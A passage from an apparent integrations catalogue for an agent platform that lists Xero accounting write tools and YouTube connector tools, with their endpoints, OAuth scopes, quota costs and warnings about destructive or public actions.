/api/v1/xero/ManualJournals. Scopes: accounting.manualjournals. xero_post_manualjournals_by_manualjournalid (write) — Update manual journal via POST /ManualJournals/{ManualJournalID} POST /api/v1/xero/ManualJournals/{ManualJournalID}. Scopes: accounting.manualjournals. xero_post_payments (write) — Create payment via POST /Payments POST /api/v1/xero/Payments. Scopes: accounting.payments. xero_post_payments_by_paymentid (write) — Delete payment via POST /Payments/{PaymentID} POST /api/v1/xero/Payments/{PaymentID}. Scopes: accounting.payments. xero_post_projects (write) — Create project via POST /Projects POST /api/v1/xero/Projects. Scopes: projects. xero_post_projects_by_projectid_tasks (write) — Create task via POST /Projects/{projectId}/Tasks POST /api/v1/xero/Projects/{projectId}/Tasks. Scopes: projects. xero_post_projects_by_projectid_time (write) — Create time entry via POST /Projects/{projectId}/Time POST /api/v1/xero/Projects/{projectId}/Time. Scopes: projects. xero_post_purchaseorders (write) — Update or create purchase orders via POST /PurchaseOrders POST /api/v1/xero/PurchaseOrders. Scopes: accounting.invoices. xero_post_purchaseorders_by_purchaseorderid (write) — Update purchase order via POST /PurchaseOrders/{PurchaseOrderID} POST /api/v1/xero/PurchaseOrders/{PurchaseOrderID}. Scopes: accounting.invoices. xero_post_quotes (write) — Update or create quotes via POST /Quotes POST /api/v1/xero/Quotes. Scopes: accounting.invoices. xero_post_quotes_by_quoteid (write) — Update quote via POST /Quotes/{QuoteID} POST /api/v1/xero/Quotes/{QuoteID}. Scopes: accounting.invoices. xero_post_receipts_by_receiptid (write) — Update receipt via POST /Receipts/{ReceiptID} POST /api/v1/xero/Receipts/{ReceiptID}. Scopes: accounting.transactions. xero_post_repeatinginvoices (write) — Update or create repeating invoices via POST /RepeatingInvoices POST /api/v1/xero/RepeatingInvoices. Scopes: accounting.invoices. xero_post_repeatinginvoices_by_repeatinginvoiceid (write) — Update repeating invoice via POST /RepeatingInvoices/{RepeatingInvoiceID} POST /api/v1/xero/RepeatingInvoices/{RepeatingInvoiceID}. Scopes: accounting.invoices. xero_post_setup (write) — Post setup via POST /Setup POST /api/v1/xero/Setup. Scopes: accounting.settings. xero_post_taxrates (write) — Update tax rate via POST /TaxRates POST /api/v1/xero/TaxRates. Scopes: accounting.settings. xero_post_trackingcategories_by_trackingcategoryid (write) — Update tracking category via POST /TrackingCategories/{TrackingCategoryID} POST /api/v1/xero/TrackingCategories/{TrackingCategoryID}. Scopes: accounting.settings. xero_post_trackingcategories_by_trackingcategoryid_options_by_trackingoptionid (write) — Update tracking options via POST /TrackingCategories/{TrackingCategoryID}/Options/{TrackingOptionID} POST /api/v1/xero/TrackingCategories/{TrackingCategoryID}/Options/{TrackingOptionID}. Scopes: accounting.settings. xero_put_accounts (write) — Create account via PUT /Accounts PUT /api/v1/xero/Accounts. Scopes: accounting.settings. xero_put_banktransactions (write) — Create bank transactions via PUT /BankTransactions PUT /api/v1/xero/BankTransactions. Scopes: accounting.banktransactions. xero_put_banktransactions_by_banktransactionid_history (write) — Create bank transaction history record via PUT /BankTransactions/{BankTransactionID}/History PUT /api/v1/xero/BankTransactions/{BankTransactionID}/History. Scopes: accounting.banktransactions. xero_put_banktransfers (write) — Create bank transfer via PUT /BankTransfers PUT /api/v1/xero/BankTransfers. Scopes: accounting.banktransactions. xero_put_banktransfers_by_banktransferid_history (write) — Create bank transfer history record via PUT /BankTransfers/{BankTransferID}/History PUT /api/v1/xero/BankTransfers/{BankTransferID}/History. Scopes: accounting.banktransactions. xero_put_batchpayments (write) — Create batch payment via PUT /BatchPayments PUT /api/v1/xero/BatchPayments. Scopes: accounting.payments. xero_put_batchpayments_by_batchpaymentid_history (write) — Create batch payment history record via PUT /BatchPayments/{BatchPaymentID}/History PUT /api/v1/xero/BatchPayments/{BatchPaymentID}/History. Scopes: accounting.payments. xero_put_contactgroups (write) — Create contact group via PUT /ContactGroups PUT /api/v1/xero/ContactGroups. Scopes: accounting.contacts. xero_put_contactgroups_by_contactgroupid_contacts (write) — Create contact group contacts via PUT /ContactGroups/{ContactGroupID}/Contacts PUT /api/v1/xero/ContactGroups/{ContactGroupID}/Contacts. Scopes: accounting.contacts. xero_put_contacts (write) — Create contacts via PUT /Contacts PUT /api/v1/xero/Contacts. Scopes: accounting.contacts. xero_put_contacts_by_contactid_history (write) — Create contact history via PUT /Contacts/{ContactID}/History PUT /api/v1/xero/Contacts/{ContactID}/History. Scopes: accounting.contacts. xero_put_creditnotes (write) — Create credit notes via PUT /CreditNotes PUT /api/v1/xero/CreditNotes. Scopes: accounting.invoices. xero_put_creditnotes_by_creditnoteid_allocations (write) — Create credit note allocation via PUT /CreditNotes/{CreditNoteID}/Allocations PUT /api/v1/xero/CreditNotes/{CreditNoteID}/Allocations. Scopes: accounting.invoices. xero_put_creditnotes_by_creditnoteid_history (write) — Create credit note history via PUT /CreditNotes/{CreditNoteID}/History PUT /api/v1/xero/CreditNotes/{CreditNoteID}/History. Scopes: accounting.invoices. xero_put_currencies (write) — Create currency via PUT /Currencies PUT /api/v1/xero/Currencies. Scopes: accounting.settings. xero_put_expenseclaims (write) — Create expense claims via PUT /ExpenseClaims PUT /api/v1/xero/ExpenseClaims. Scopes: accounting.transactions. xero_put_expenseclaims_by_expenseclaimid_history (write) — Create expense claim history via PUT /ExpenseClaims/{ExpenseClaimID}/History PUT /api/v1/xero/ExpenseClaims/{ExpenseClaimID}/History. Scopes: accounting.transactions. xero_put_files_by_fileid (write) — Update file via PUT /Files/{FileId} PUT /api/v1/xero/Files/{FileId}. Scopes: files. xero_put_folders_by_folderid (write) — Update folder via PUT /Folders/{FolderId} PUT /api/v1/xero/Folders/{FolderId}. Scopes: files. xero_put_invoices (write) — Create invoices via PUT /Invoices PUT /api/v1/xero/Invoices. Scopes: accounting.invoices. xero_put_invoices_by_invoiceid_history (write) — Create invoice history via PUT /Invoices/{InvoiceID}/History PUT /api/v1/xero/Invoices/{InvoiceID}/History. Scopes: accounting.invoices. xero_put_items (write) — Create items via PUT /Items PUT /api/v1/xero/Items. Scopes: accounting.settings. xero_put_items_by_itemid_history (write) — Create item history via PUT /Items/{ItemID}/History PUT /api/v1/xero/Items/{ItemID}/History. Scopes: accounting.settings. xero_put_linkedtransactions (write) — Create linked transaction via PUT /LinkedTransactions PUT /api/v1/xero/LinkedTransactions. Scopes: accounting.invoices. xero_put_manualjournals (write) — Create manual journals via PUT /ManualJournals PUT /api/v1/xero/ManualJournals. Scopes: accounting.manualjournals. xero_put_manualjournals_by_manualjournalid_history (write) — Create manual journal history record via PUT /ManualJournals/{ManualJournalID}/History PUT /api/v1/xero/ManualJournals/{ManualJournalID}/History. Scopes: accounting.manualjournals. xero_put_overpayments_by_overpaymentid_allocations (write) — Create overpayment allocations via PUT /Overpayments/{OverpaymentID}/Allocations PUT /api/v1/xero/Overpayments/{OverpaymentID}/Allocations. Scopes: accounting.payments. xero_put_overpayments_by_overpaymentid_history (write) — Create overpayment history via PUT /Overpayments/{OverpaymentID}/History PUT /api/v1/xero/Overpayments/{OverpaymentID}/History. Scopes: accounting.payments. xero_put_payments (write) — Create payments via PUT /Payments PUT /api/v1/xero/Payments. Scopes: accounting.payments. xero_put_payments_by_paymentid_history (write) — Create payment history via PUT /Payments/{PaymentID}/History PUT /api/v1/xero/Payments/{PaymentID}/History. Scopes: accounting.payments. xero_put_paymentservices (write) — Create payment service via PUT /PaymentServices PUT /api/v1/xero/PaymentServices. Scopes: paymentservices. xero_put_prepayments_by_prepaymentid_allocations (write) — Create prepayment allocations via PUT /Prepayments/{PrepaymentID}/Allocations PUT /api/v1/xero/Prepayments/{PrepaymentID}/Allocations. Scopes: accounting.payments. xero_put_prepayments_by_prepaymentid_history (write) — Create prepayment history via PUT /Prepayments/{PrepaymentID}/History PUT /api/v1/xero/Prepayments/{PrepaymentID}/History. Scopes: accounting.payments. xero_put_projects_by_projectid (write) — Update project via PUT /Projects/{projectId} PUT /api/v1/xero/Projects/{projectId}. Scopes: projects. xero_put_projects_by_projectid_tasks_by_taskid (write) — Update task via PUT /Projects/{projectId}/Tasks/{taskId} PUT /api/v1/xero/Projects/{projectId}/Tasks/{taskId}. Scopes: projects. xero_put_projects_by_projectid_time_by_timeentryid (write) — Update time entry via PUT /Projects/{projectId}/Time/{timeEntryId} PUT /api/v1/xero/Projects/{projectId}/Time/{timeEntryId}. Scopes: projects. xero_put_purchaseorders (write) — Create purchase orders via PUT /PurchaseOrders PUT /api/v1/xero/PurchaseOrders. Scopes: accounting.invoices. xero_put_purchaseorders_by_purchaseorderid_history (write) — Create purchase order history via PUT /PurchaseOrders/{PurchaseOrderID}/History PUT /api/v1/xero/PurchaseOrders/{PurchaseOrderID}/History. Scopes: accounting.invoices. xero_put_quotes (write) — Create quotes via PUT /Quotes PUT /api/v1/xero/Quotes. Scopes: accounting.invoices. xero_put_quotes_by_quoteid_history (write) — Create quote history via PUT /Quotes/{QuoteID}/History PUT /api/v1/xero/Quotes/{QuoteID}/History. Scopes: accounting.invoices. xero_put_receipts (write) — Create receipt via PUT /Receipts PUT /api/v1/xero/Receipts. Scopes: accounting.transactions. xero_put_receipts_by_receiptid_history (write) — Create receipt history via PUT /Receipts/{ReceiptID}/History PUT /api/v1/xero/Receipts/{ReceiptID}/History. Scopes: accounting.transactions. xero_put_repeatinginvoices (write) — Create repeating invoices via PUT /RepeatingInvoices PUT /api/v1/xero/RepeatingInvoices. Scopes: accounting.invoices. xero_put_repeatinginvoices_by_repeatinginvoiceid_history (write) — Create repeating invoice history via PUT /RepeatingInvoices/{RepeatingInvoiceID}/History PUT /api/v1/xero/RepeatingInvoices/{RepeatingInvoiceID}/History. Scopes: accounting.invoices. xero_put_taxrates (write) — Create tax rates via PUT /TaxRates PUT /api/v1/xero/TaxRates. Scopes: accounting.settings. xero_put_trackingcategories (write) — Create tracking category via PUT /TrackingCategories PUT /api/v1/xero/TrackingCategories. Scopes: accounting.settings. xero_put_trackingcategories_by_trackingcategoryid_options (write) — Create tracking options via PUT /TrackingCategories/{TrackingCategoryID}/Options PUT /api/v1/xero/TrackingCategories/{TrackingCategoryID}/Options. Scopes: accounting.settings. ================================================================================ ## YouTube URL: https://www.agenticfabriq.com/integrations/youtube Section: Integrated Tools YouTube — 92 MCP tools Provider key: youtube. Scopes: https://www.googleapis.com/auth/youtube, https://www.googleapis.com/auth/youtube.channel-memberships.creator, https://www.googleapis.com/auth/youtube.force-ssl, https://www.googleapis.com/auth/youtube.readonly, https://www.googleapis.com/auth/youtube.upload, https://www.googleapis.com/auth/yt-analytics.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. youtube_add_analytics_group_item (write) — Add a video, playlist or channel to an analytics group. Its kind must match the group's item type. Reversible by youtube_remove_analytics_group_item. Separate quota from the Data API. POST /api/v1/tools/youtube/analytics/group-items/add. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_add_live_chat_moderator (admin) — Give another channel moderator powers in a live chat - they can then delete messages and ban viewers. This is an access-control change, reversible by youtube_remove_live_chat_moderator. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/moderators/add. Scopes: https://www.googleapis.com/auth/youtube. youtube_add_playlist_item (write) — Append or insert a video into a playlist. Reversible by youtube_remove_playlist_item. Costs 50 quota units, so building a 200-video playlist spends the whole daily budget - batch nothing and plan for it. POST /api/v1/tools/youtube/playlist-items/add. Scopes: https://www.googleapis.com/auth/youtube. youtube_ban_live_chat_user (admin) — Ban a viewer from a live chat, permanently or for a set number of seconds. Unlike YouTube's channel-wide comment ban, this one HAS a published inverse - youtube_unban_live_chat_user - which is why it ships. Prefer type='temporary' with a duration. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/bans/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_batch_get_video_stats (read) — Read view, like and comment counts for many videos in one call. Added to the API on 2026-06-03 and it has its OWN quota bucket - 1 unit per call against a separate 10,000/day allowance - so it does not spend the main budget at all. Prefer it over youtube_list_videos whenever only the numbers are wanted. GET /api/v1/tools/youtube/videos/batch-stats. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_bind_live_broadcast (write) — Attach a live stream to a broadcast, or - by omitting stream_id - detach whatever is attached. That omission is this action's own inverse. A broadcast with no bound stream cannot go on air. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-broadcasts/bind. Scopes: https://www.googleapis.com/auth/youtube. youtube_create_analytics_group (write) — Create an empty analytics group of one item type, then fill it with youtube_add_analytics_group_item. Reversible by youtube_delete_analytics_group. Separate quota from the Data API. POST /api/v1/tools/youtube/analytics/groups/create. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_create_channel_section (write) — Add a shelf to the channel homepage. This changes what every visitor sees first. Reversible by youtube_delete_channel_section. Costs 50 quota units. POST /api/v1/tools/youtube/channel-sections/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_create_comment_thread (write) — Post a new top-level comment on a video or a channel, as the connected account. The comment is PUBLIC immediately, attributed to the channel, and deleting it later does not retract replies, notifications or screenshots. Costs 50 quota units. POST /api/v1/tools/youtube/comment-threads/create. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_create_live_broadcast (write) — Create a scheduled broadcast. Creating one does not put anything on air: it has to be bound to a stream with youtube_bind_live_broadcast and then transitioned with youtube_transition_live_broadcast. Defaults to PRIVATE. Reversible by youtube_delete_live_broadcast. YouTube publishes no quota cost for this resource; it behaves like a 50-unit write. POST /api/v1/tools/youtube/live-broadcasts/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_create_live_stream (write) — Create an ingestion configuration a broadcast can be bound to. The stream key YouTube mints is WITHHELD from the response for the same reason youtube_list_live_streams withholds it; collect it in YouTube Studio. Reversible by youtube_delete_live_stream. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-streams/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_create_playlist (write) — Create an empty playlist on the connected channel. Defaults to PRIVATE, which is not YouTube's default: a public playlist publishes its title, description and every video in it. Reversible by youtube_delete_playlist. Costs 50 quota units. POST /api/v1/tools/youtube/playlists/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_create_report_job (write) — Ask YouTube to start generating a daily bulk report. IT IS NOT IMMEDIATE: the first report appears within about 48 hours and covers the previous day. Once running, YouTube also backfills roughly the previous 30 days. Reversible by youtube_delete_report_job. Separate quota from the Data API. POST /api/v1/tools/youtube/reporting/jobs/create. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_delete_analytics_group (write, destructive) — DESTRUCTIVE - delete an analytics group and its membership list. The videos are untouched, but every saved report and every automation keyed on this group id stops resolving, and the membership has to be rebuilt by hand. List it with youtube_list_analytics_group_items first. POST /api/v1/tools/youtube/analytics/groups/delete. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_delete_caption (write, destructive) — DESTRUCTIVE - delete a caption track. YouTube publishes no restore and keeps no copy, so a hand-timed translation is gone. Download it with youtube_download_caption first. Setting is_draft with youtube_update_caption hides a track reversibly instead. Costs 50 quota units. POST /api/v1/tools/youtube/captions/delete. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_delete_channel_section (write, destructive) — DESTRUCTIVE - remove a shelf from the channel homepage. YouTube publishes no restore; the shelf's configuration and ordering are gone and must be rebuilt by hand. The playlists and videos it featured are untouched. Costs 50 quota units. POST /api/v1/tools/youtube/channel-sections/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_delete_comment (write, destructive) — DESTRUCTIVE - delete a comment. YouTube publishes no restore. Deleting a top-level comment deletes every reply under it, including replies by other people. It is also the only way to retract a comment an agent posted, so it is sometimes the right call. Costs 50 quota units. Rejecting a comment with youtube_set_comment_moderation_status hides it reversibly instead. POST /api/v1/tools/youtube/comments/delete. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_delete_live_broadcast (write, destructive) — DESTRUCTIVE - delete a broadcast. For a COMPLETED broadcast this deletes the recorded video and its view count and comments with it; YouTube publishes no restore. For an upcoming one it cancels the event and any scheduled-premiere notifications already sent. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-broadcasts/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_delete_live_chat_message (write, destructive) — DESTRUCTIVE - remove a message from a live chat. No restore, and everyone watching at the time has already seen it. It is also the only way to retract a message an agent posted. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/messages/delete. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_delete_live_stream (write, destructive) — DESTRUCTIVE - delete an ingestion configuration. Its stream KEY dies with it, so every encoder configured with that key stops working and has to be reconfigured by a human, and a broadcast bound to it can no longer go on air. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-streams/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_delete_playlist (write, destructive) — DESTRUCTIVE - delete a playlist. YouTube publishes no restore. The VIDEOS survive (a playlist holds references, not copies) but the curation, the ordering and every note on every entry are gone. Read the item list with youtube_list_playlist_items first if it might be wanted again. Costs 50 quota units. POST /api/v1/tools/youtube/playlists/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_delete_playlist_image (write) — Remove a playlist's custom cover image, restoring YouTube's generated one. Reversible by uploading the image again, which is why this is not flagged destructive. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/playlist-images/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_delete_report_job (write, destructive) — DESTRUCTIVE - stop a reporting job and make every report it has already produced inaccessible. Recreating the job does NOT restore the history: a new job backfills only about 30 days, so anything older is gone for good. Separate quota from the Data API. POST /api/v1/tools/youtube/reporting/jobs/delete. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_delete_video (write, destructive) — DESTRUCTIVE - permanently delete a video from the channel. YouTube publishes NO undelete: the file, its view history, its comments and every link to it are gone, and re-uploading produces a different video with a different id and zero views. Costs 50 quota units. Setting privacy_status to 'private' with youtube_update_video hides a video reversibly and is almost always what was wanted. POST /api/v1/tools/youtube/videos/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_download_caption (read) — Download a caption track's text, optionally converted to SRT or VTT and optionally machine-translated. Agentic Fabriq caps the returned text at 1 MB and says so in the result when it truncates. YouTube publishes no quota cost for captions.download; the rest of the captions family is billed at 50 units and above. GET /api/v1/tools/youtube/captions/download. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_download_report (read) — Fetch a generated bulk report's CSV. Agentic Fabriq resolves the download URL from the report's metadata, checks it points at youtubereporting.googleapis.com, fetches it with the connection's token and returns at most max_bytes of text - a full daily report can be hundreds of megabytes and no tool result can carry that. The result says plainly when it was truncated. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/report/download. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_get_report (read) — Read one report file's period, creation time and download URL, without downloading it. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/report. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_get_report_job (read) — Read one reporting job's type, name and creation time. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/job. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_get_video_rating (read) — Report whether the connected channel has liked, disliked or not rated each of up to 50 videos. This is the read that makes youtube_rate_video idempotent - call it first and a repeat like is skipped. Costs 1 quota unit. Note it needs the account-management scope, not the read-only one: YouTube publishes no read-only form. GET /api/v1/tools/youtube/videos/rating. Scopes: https://www.googleapis.com/auth/youtube. youtube_get_video_trainability (read) — Report whether the creator has allowed third parties to train AI models on a video. The diagnostic answer to 'may we use this footage'. YouTube publishes no quota cost for this method; it reads like every other 1-unit list. GET /api/v1/tools/youtube/videos/trainability. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_insert_cuepoint (write, destructive) — Trigger a mid-roll ad break in a broadcast that is on air. Viewers see an advertisement immediately; there is no cancel. Only meaningful on a monetised channel. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-broadcasts/cuepoint. Scopes: https://www.googleapis.com/auth/youtube. youtube_list_abuse_report_reasons (read) — List the reason ids youtube_report_video_abuse accepts, with their secondary reasons. Costs 1 quota unit and it is the only way to get a valid reason id. GET /api/v1/tools/youtube/abuse-report-reasons. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_activities (read) — Read a channel's activity feed - uploads and playlist changes, newest first, filterable by date. Costs 1 quota unit. Note YouTube removed the like, favorite and subscription activity types from this feed on 2026-08-06; they are no longer returned however the request is shaped. GET /api/v1/tools/youtube/activities. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_analytics_group_items (read) — List what is in an analytics group. The group-item ids here are what youtube_remove_analytics_group_item requires; it does not take a video id. Separate quota from the Data API. GET /api/v1/tools/youtube/analytics/group-items. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_list_analytics_groups (read) — List the custom groups of videos, playlists or channels defined for analytics. A group is how you ask 'how did the tutorial series do' without listing every video id in every query. Separate quota from the Data API. GET /api/v1/tools/youtube/analytics/groups. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_list_captions (read) — List the caption tracks on a video, with their language, whether they are auto-generated and whether they are drafts. Costs 50 quota units - fifty times an ordinary read, because captions are billed as a separate class. GET /api/v1/tools/youtube/captions. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_list_channel_sections (read) — Read the shelves that make up a channel's homepage layout - featured playlists, recent uploads, subscriptions and the rest, in order. Costs 1 quota unit. The ids and positions here are what the section writes need. GET /api/v1/tools/youtube/channel-sections. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_channels (read) — Read a channel by id, by @handle, or the connected account's own channel with mine=true. START HERE: the channel's uploads playlist id (contentDetails.relatedPlaylists.uploads) is how you list a channel's videos for 1 unit instead of spending one of the 100 daily search calls. Costs 1 quota unit. GET /api/v1/tools/youtube/channels. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_comment_threads (read) — Read top-level comments and their first few replies, on one video, one channel, or everything on a channel. moderation_status='heldForReview' is the moderation queue. Costs 1 quota unit. YouTube's whole comment surface is gated on the force-ssl scope, which is the same scope that can delete a video - see the scope description before granting it. GET /api/v1/tools/youtube/comment-threads. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_list_comments (read) — Read comments by id, or every reply under one top-level comment. Use youtube_list_comment_threads to find the parent first. Costs 1 quota unit. GET /api/v1/tools/youtube/comments. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_list_i18n_languages (read) — List the application languages YouTube supports, for the hl and default_language arguments elsewhere in this connector. Costs 1 quota unit. GET /api/v1/tools/youtube/i18n-languages. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_i18n_regions (read) — List the content regions YouTube supports, for the region_code arguments elsewhere in this connector. Costs 1 quota unit. GET /api/v1/tools/youtube/i18n-regions. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_live_broadcasts (read) — List the channel's broadcasts - upcoming, active or completed - with their scheduled times, privacy and bound stream. YouTube publishes no quota cost for the liveBroadcasts resource; it behaves like a 1-unit list. GET /api/v1/tools/youtube/live-broadcasts. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_live_chat_messages (read) — Read messages from a live chat. Get live_chat_id from youtube_list_live_broadcasts (snippet.liveChatId). Poll with the nextPageToken; the response carries pollingIntervalMillis, and polling faster than that wastes quota and is refused by YouTube. YouTube publishes no quota cost for this resource. GET /api/v1/tools/youtube/live-chat/messages. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_live_chat_moderators (read) — List who can moderate a live chat. The moderator ids here are what youtube_remove_live_chat_moderator requires. YouTube publishes no quota cost for this resource. GET /api/v1/tools/youtube/live-chat/moderators. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_live_streams (read) — List the channel's ingestion configurations - resolution, frame rate, protocol, health - and the RTMP ingestion addresses. THE STREAM KEY IS WITHHELD: cdn.ingestionInfo.streamName is replaced with a marker because anyone holding it can broadcast to this channel from any encoder with no Google account at all. Read it in YouTube Studio. YouTube publishes no quota cost for this resource. GET /api/v1/tools/youtube/live-streams. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_members (read) — List the channel's paying members, their level and when they joined. Requires the memberships scope AND a channel with memberships enabled, which means the YouTube Partner Program: 1,000 subscribers plus 4,000 valid public watch hours, or 1,000 subscribers plus 10 million Shorts views. Costs 1 quota unit. This is third-party personal data about paying customers - grant it deliberately. GET /api/v1/tools/youtube/members. Scopes: https://www.googleapis.com/auth/youtube.channel-memberships.creator. youtube_list_membership_levels (read) — List the membership tiers the channel offers. The level ids here are what youtube_list_members' has_access_to_level filter needs. Costs 1 quota unit. Same Partner Programme gate as youtube_list_members. GET /api/v1/tools/youtube/membership-levels. Scopes: https://www.googleapis.com/auth/youtube.channel-memberships.creator. youtube_list_playlist_images (read) — Read the custom cover images set on a playlist. YouTube publishes no quota cost for the playlistImages resource; it behaves like a 1-unit list. GET /api/v1/tools/youtube/playlist-images. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_playlist_items (read) — Read a playlist's entries. This is the CHEAP way to list a channel's uploads: take contentDetails.relatedPlaylists.uploads from youtube_list_channels and page through it for 1 unit a page, instead of spending one of the 100 daily search calls. Costs 1 quota unit. GET /api/v1/tools/youtube/playlist-items. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_playlists (read) — Read playlists by id, by channel, or the connected account's own with mine=true. Costs 1 quota unit. The ids returned here are what youtube_list_playlist_items and every playlist write require. GET /api/v1/tools/youtube/playlists. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_report_jobs (read) — List the reporting jobs on this account, with the report type each one generates and when it was created. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/jobs. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_list_report_types (read) — List the bulk report types YouTube can generate - the daily CSV feeds behind Studio's downloads. This is where a reporting job starts: the id from here is what youtube_create_report_job needs. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/report-types. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_list_reports (read) — List the report files a job has produced, with the period each covers and its download URL. Filter with created_after to pick up only what is new since the last run. Separate quota from the Data API. GET /api/v1/tools/youtube/reporting/reports. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_list_subscriptions (read) — Read the channels an account subscribes to, or - with my_subscribers=true - the channels subscribed to the connected one. Costs 1 quota unit. Subscription ids returned here are what youtube_unsubscribe requires; it does not take a channel id. GET /api/v1/tools/youtube/subscriptions. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_super_chat_events (read) — List Super Chat and Super Sticker purchases on the channel's live streams, with the amount, the currency and the buyer's public channel. YouTube publishes no quota cost for this method; it behaves like a 1-unit read. GET /api/v1/tools/youtube/super-chat-events. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_video_categories (read) — List the video category ids valid in one region. youtube_update_video takes a category id and rejects a name, so this is the read that makes that write callable. Costs 1 quota unit. GET /api/v1/tools/youtube/video-categories. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_list_videos (read) — Read one or more YouTube videos by id, or the most-popular chart, or the videos this channel has rated. Returns title, description, tags, publication time, statistics and status. Costs 1 quota unit out of the project's 10,000/day. Exactly one of id, chart or my_rating must be given - YouTube refuses the call otherwise and still charges for it. GET /api/v1/tools/youtube/videos. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_post_live_chat_message (write) — Post a message into a live chat as the connected channel. Visible to everyone watching, immediately, attributed to the channel - and on a busy stream it is seen before it can be deleted. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/messages/post. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_query_analytics_report (read) — THE ANSWER TO 'HOW IS MY CHANNEL DOING'. Query views, watch time, subscribers gained, average view duration, traffic sources, demographics and revenue over any date range, grouped by any dimension. ids is normally 'channel==MINE'. Runs against the YouTube Analytics API, which has its own project quota in the Cloud console - it does NOT spend the Data API's 10,000 units. REVENUE METRICS (estimatedRevenue, estimatedAdRevenue, cpm, rpm) additionally need the monetary analytics scope granted on this connection, and the channel must be in the YouTube Partner Programme. GET /api/v1/tools/youtube/analytics/report. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_rate_video (write) — Set the connected channel's rating on a video. A like is PUBLIC on the channel's liked-videos list. Fully reversible: rating='none' removes whatever rating is there, which is this action's own inverse. Costs 50 quota units. POST /api/v1/tools/youtube/videos/rate. Scopes: https://www.googleapis.com/auth/youtube. youtube_remove_analytics_group_item (write) — Remove one member from an analytics group. Takes the GROUP ITEM id from youtube_list_analytics_group_items. Reversible by youtube_add_analytics_group_item. Separate quota from the Data API. POST /api/v1/tools/youtube/analytics/group-items/remove. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_remove_live_chat_moderator (admin) — Revoke a moderator's powers in a live chat. Takes the MODERATOR id from youtube_list_live_chat_moderators, not a channel id. Reversible by youtube_add_live_chat_moderator. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/moderators/remove. Scopes: https://www.googleapis.com/auth/youtube. youtube_remove_playlist_item (write) — Remove one entry from a 